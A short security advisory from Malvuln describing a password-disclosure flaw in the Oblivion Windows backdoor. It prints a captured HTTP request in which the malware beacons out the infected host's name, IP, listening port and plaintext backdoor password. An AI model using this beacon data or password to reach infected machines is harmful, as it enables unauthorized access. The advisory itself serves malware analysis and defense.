Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/aef85cf0d521eaa6aade11f95ea07ebe.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Oblivion.01.a Vulnerability: Insecure Transit Password Disclosure Description: The malware listens on TCP port 7826 and makes HTTP GET requests to port 80 for "/scripts/WWPMsg.dll". The system logon credentials "Pass=beacytan" are sent plaintext via the URL query string. Third party attackers who can sniff traffic may locate the credentials which can also potentially be leaked to web server logs and or shared systems. Family: Oblivion Type: PE32 MD5: aef85cf0d521eaa6aade11f95ea07ebe Vuln ID: MVID-2022-0658 Disclosure: 11/18/2022 Exploit/PoC: tcpdump GET /scripts/WWPMsg.dll?from=Oblivion&fromemail=Oblivion@Oblivion.com&subject=User+Online&body=Oblivion+Server+Online!!+[OS=Win]+[ComputerName=DESKTOP-2C4IQJO]+[IP=192.168.18.125]+[Port=7826]+[Pass=beacytan]+[Ver=0.1]&to=121768128 HTTP/1.0" 404 - Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).